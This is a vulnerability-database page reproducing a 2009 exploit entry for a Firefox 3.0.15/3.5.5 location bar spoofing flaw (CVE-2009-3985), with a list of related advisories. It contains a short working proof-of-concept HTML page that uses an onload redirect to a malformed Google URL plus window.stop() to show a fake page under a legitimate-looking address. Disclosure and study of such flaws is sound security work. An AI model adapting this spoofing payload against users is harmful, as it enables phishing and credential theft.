Vulners
Lucene search
Mozilla Firefox Location Bar Spoofing Vulnerability
| Reporter | Title | Published | Views | Family All 139 |
|---|---|---|---|---|
 | mozilla -- multiple vulnerabilities | 16 Dec 200900:00 | – | freebsd |
 | Mozilla Firefox < 3.0.16 / 3.5.6 Multiple Vulnerabilities | 16 Dec 200900:00 | – | nessus |
| SeaMonkey < 2.0.1 Multiple Vulnerabilities | 16 Dec 200900:00 | – | nessus |
| Mozilla SeaMonkey < 2.0.1 Multiple Vulnerabilities | 16 Dec 200900:00 | – | nessus |
| Mozilla Firefox < 3.0.16 / 3.5.6 Multiple Vulnerabilities | 16 Dec 200900:00 | – | nessus |
| CentOS 4 : seamonkey (CESA-2009:1673) | 21 Dec 200900:00 | – | nessus |
| CentOS 4 / 5 : firefox (CESA-2009:1674) | 21 Dec 200900:00 | – | nessus |
| Debian DSA-1956-1 : xulrunner - several vulnerabilities | 24 Feb 201000:00 | – | nessus |
| Fedora 11 : Miro-2.5.2-7.fc11 / blam-1.8.5-17.fc11 / chmsee-1.0.1-14.fc11 / epiphany-2.26.3-7.fc11 / etc (2009-13333) | 18 Dec 200900:00 | – | nessus |
| Fedora 12 : seamonkey-2.0.1-1.fc12 (2009-13362) | 18 Dec 200900:00 | – | nessus |
10
===================================================
Mozilla Firefox Location Bar Spoofing Vulnerability
===================================================
# Title: Mozilla Firefox Location Bar Spoofing Vulnerability
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Jordi Chancel
# Published: 2009-12-18
# Verified: yes
view source
print?
# Exploit Title: MOZILLA FIREFOX LOCATION BAR SPOOFING VULNERABILITY
# Date: 2009-12-18
# Author: Jordi Chancel
# Software Link: http://www.mozilla.org/security/announce/2009/mfsa2009-69.html
# Version: Mozilla Firefox 3.0.15 & 3.5.5
# Tested on: Windows XP-VISTA-SEVEN & LINUX BACKTRACK
# CVE : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3985
# DESCRIPTION: {
# Security researcher Jordi Chancel reported an issue similar to one fixed in mfsa2009-44
# in which a web page can set document.location to a URL that can't be displayed properly and then inject
# content into the resulting blank page. An attacker could use this vulnerability to place a legitimate-looking
# but invalid URL in the location bar and inject HTML and JavaScript into the body of the
# page, resulting in a spoofing attack. }
# Code :
<html>
<title>FAKE PAGE</title>
<body onload="javascript:window.location = 'https://www.google.com%20';window.stop();void(0);">
<h1>FAKE PAGE</h1>
</body>
</html>
# 0day.today [2018-04-02] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
18 Dec 2009 00:00Current
6.8Medium risk
Vulners AI Score6.8
EPSS0.00461